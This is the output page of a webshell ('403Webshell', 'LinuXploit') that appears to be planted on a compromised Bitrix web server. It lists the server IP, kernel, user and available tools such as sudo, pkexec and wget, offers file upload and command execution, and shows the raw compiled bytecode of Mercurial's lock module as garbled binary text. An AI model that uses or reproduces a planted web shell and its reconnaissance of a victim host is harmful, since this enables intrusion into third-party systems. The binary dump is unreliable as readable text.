403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/mercurial/__pycache__/lock.cpython-39.pyc
a

�+�b�/�@s�ddlmZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZddl
mZmZmZmZddlmZdd	�Zejd
d��Zdd
�ZGdd�de�Zdd�ZdS)�)�absolute_importN�)�_)�getattr)�encoding�error�pycompat�util)�procutilc
Cstt�t���}tj�d�rpz|dt�d�j	7}Wn<t
yn}z$|jtjtj
tjfvrZ�WYd}~n
d}~00|S)a
Return a string which is used to differentiate pid namespaces

    It's useful to detect "dead" processes and remove stale locks with
    confidence. Typically it's just hostname. On modern linux, we include an
    extra Linux-specific pid namespace identifier.
    slinuxs/%xs/proc/self/ns/pidN)rZ
strtolocal�socketZgethostnamerZsysplatform�
startswith�os�stat�st_ino�OSError�errno�ENOENTZEACCES�ENOTDIR)�result�ex�r�4/usr/lib64/python3.9/site-packages/mercurial/lock.py�_getlockprefixsrc#s g�d�i}dd�����fdd�}z�dD]*}tt|d�}|r*||vr*t�|�||<q*z|D]}t�||�q\Wnty�Yn0d�dVWd�z"|��D]\}}t�||�q�Wnty�Yn0n>d�z"|��D]\}}t�||�q�Wnt�yYn00��r��d	�dS)
a@Block signal interrupt while doing something critical

    This makes sure that the code block wrapped by this context manager won't
    be interrupted.

    For Windows developers: It appears not possible to guard time.sleep()
    from CTRL_C_EVENT, so please don't use time.sleep() to test if this is
    working.
    FcSs0|ttdd�ks |ttdd�kr&t�ntj�dS)N�SIGINTZCTRL_C_EVENT)r�signal�KeyboardInterruptrZSignalInterrupt)�numrrr�raiseinterrupt?s
�z)_delayedinterrupt.<locals>.raiseinterruptcs�r��|�n�|�dS�N)�append)r�frame�ZassertedsigsZblockedrrr�	catchtermGsz$_delayedinterrupt.<locals>.catchterm)sCTRL_C_EVENTsSIGINTsSIGBREAKsSIGHUPsSIGTERMNTr)rr�	getsignal�
ValueError�items)Zorighandlersr"�namerZhandlerrr!r�_delayedinterrupt0s>�r'c
sR�fdd�}t||dg|�Rddi|���|r6|r6dnd}d}	|sHd}	n|rP|}	d}
z���Wq�WqTtjy�}zj|
|kr�||j|j�|
|	kr�||j|j�||
kr�t�tj|j	�j
|j��t�d�|
d7}
WYd}~qTd}~00qT|
�_
�j
�r>d|	k�r�j
k�r.nn|�td	��j
�n|�d	�j
��j�rN����S)
z�return an acquired lock or raise an a LockHeld exception

    This function is responsible to issue warnings and or debug messages about
    the held lock while trying to acquires it.csdd|vr@|�dd�\}}td�t��j�t�|�t�|�f}ntd��jt�|�f}||�dS)z=issue the usual "waiting on lock" message through any channel�:rs5waiting for lock on %s held by process %r on host %r
s"waiting for lock on %s held by %r
N)�splitrrZbytestr�desc)Zprinter�locker�host�pid�msg��lrr�printwarningys�
���ztrylock.<locals>.printwarningr�dolockF���rNsgot lock after %d seconds
)�lock�_trylockr�LockHeld�debugr+�warnr�	ETIMEDOUT�filenamer*�time�sleep�delayr�	acquirefn)Zui�vfs�lockname�timeoutZwarntimeout�args�kwargsr1ZdebugidxZ
warningidxr=�instrr/r�trylockss>�
 rEc@sxeZdZdZdZddd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zddd�ZdS)r4a�An advisory lock held by one process to control access to a set
    of files.  Non-cooperating processes or incorrectly written scripts
    can ignore Mercurial's locking scheme and stomp all over the
    repository, so don't do that.

    Typically used via localrepository.lock() to lock the repository
    store (.hg/store/) or localrepository.wlock() to lock everything
    else under .hg/.Nr3Tc		Csn||_||_d|_||_||_||_||_|r6t|_nt	j
|_g|_|��|_
|rj|��|_|jrj|��dS)Nr)r?�f�heldrA�	releasefnr>r*r'�_maybedelayedinterruptr	Znullcontextmanager�postrelease�_getpidr-r4r=)	�selfr?�fnamerArHr>r*Z
signalsafer2rrr�__init__�s 

z
lock.__init__cCs|Srr�rLrrr�	__enter__�szlock.__enter__cCs(tdd�|||fD��}|j|d�dS)Ncss|]}|duVqdSrr)�.0�arrr�	<genexpr>��z lock.__exit__.<locals>.<genexpr>)�success)�all�release)rL�exc_type�	exc_valueZexc_tbrUrrr�__exit__�sz
lock.__exit__cCs(|jrtjdtdd�d|_|��dS)Nz$use lock.release instead of del lock�)�category�
stacklevelr)rG�warningsr8�DeprecationWarningrWrOrrr�__del__�s�zlock.__del__cCst��Sr)r
�getpidrOrrrrK�szlock._getpidc
Cs�|j}z|��|j|WStjy�}zR|dkrZt�d�|dkrN|d8}WYd}~qt�tj|j|j	|j
��WYd}~qd}~00qdS)Nrr)rAr5rr6r;r<rr9r:r*r+)rLrArDrrrr4�s
�z	lock.lockc
Csd|jr|jd7_dStjdur*t�t_dtj|jf}d}|j�s:|�r:|d8}zB|���&|j�||j�d|_Wd�n1s�0YWq>t	t
f�y6}z�|jtjk�r
|�
�}|dur�WYd}~q>|�|�}|du�r"t�tj|j�|j�|j|��nt�|j|j|j|j��WYd}~q>d}~00q>|j�s`t�tj|j�|j�|jd��dS)Nrs%s:%d�rT)rGr4�_hostrr-rIr?ZmakelockrFr�IOErrorrZEEXIST�	_readlock�	_testlockrr6ZEAGAIN�joinr*ZLockUnavailable�strerrorr:)rLr@Zretry�whyr+rrrr5sB

(

���z
lock._trylockc
CsZz|j�|j�WSttfyT}z(|jtjkr>WYd}~dS�WYd}~n
d}~00dS)z�read lock and return its value

        Returns None if no lock exists, pid for old-style locks, and host:pid
        for new-style locks.
        N)r?ZreadlockrFrrdrr)rLrirrrre3szlock._readlockcCsx|durdSz|�dd�\}}Wnty4YdS0|tjkrDdSzt|�}WntydYdS0t�|�rtdSdS)NFr(rT)r)r$r4rc�intr
Ztestpid)rLr+r,r-rrr�_lockshouldbebroken@s

zlock._lockshouldbebrokencCs�|�|�s|Sznt|j|jddd��D|��}|�|�sN|Wd�WS|j�|j�Wd�n1sp0YWntjy�|YS0dS)Ns.breakr)rA)rkr4r?rFre�unlinkrZ	LockError�rLr+rrrrfQs

0zlock._testlockcCs|��}|�|�S)aoreturn id of locker if lock is valid, else None.

        If old-style lock, we cannot tell what machine locker is on.
        with new-style lock, if locker is on this machine, we can
        see if locker is alive.  If locker is on this machine but
        not alive, we can safely break lock.

        The lock file is only deleted when None is returned.

        )rerfrmrrr�testlock`sz
lock.testlockcCs�|jdkr|jd8_n�|jdkr�d|_|��|jkr<dSz8|jrL|��Wz|j�|j�Wq�tyrYq�0n(z|j�|j�Wnty�Yn00|jD]}||�q�d|_dS)z�release the lock and execute callback function if any

        If the lock has been acquired multiple times, the actual release is
        delayed to the last release call.rrN)	rGrKr-rHr?rlrFrrJ)rLrU�callbackrrrrWns(


�

zlock.release)r3NNNTT)T)�__name__�
__module__�__qualname__�__doc__rcrNrPrZr`rKr4r5rerkrfrnrWrrrrr4�s(�
(
r4cGs|D]}|dur|��qdSr)rW)�locksr4rrrrW�srW)Z
__future__r�
contextlibrr
rrr;r^Zi18nrrr�rrr	Zutilsr
r�contextmanagerr'rE�objectr4rWrrrr�<module>s$
B>Z

Youez - 2016 - github.com/yon3zu
LinuXploit